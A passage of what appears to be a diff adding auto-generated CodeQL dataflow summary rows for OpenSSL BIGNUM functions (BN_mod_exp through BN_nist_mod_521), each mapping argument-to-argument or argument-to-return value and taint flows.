BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*6]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*6]", "Argument[*9]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*8]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*8]", "Argument[*6]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*8]", "Argument[*9]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*9]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*9]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*9]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_word", "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_word", "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_word", "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_recp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*3].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*0].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*3].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*0].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*3].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqrt", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mod_sqrt", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_word", "(const BIGNUM *,unsigned long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_mpi2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mpi2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_nist_mod_192", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_192", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_224", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_224", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_256", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_256", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_384", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_384", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_521", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_521", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", 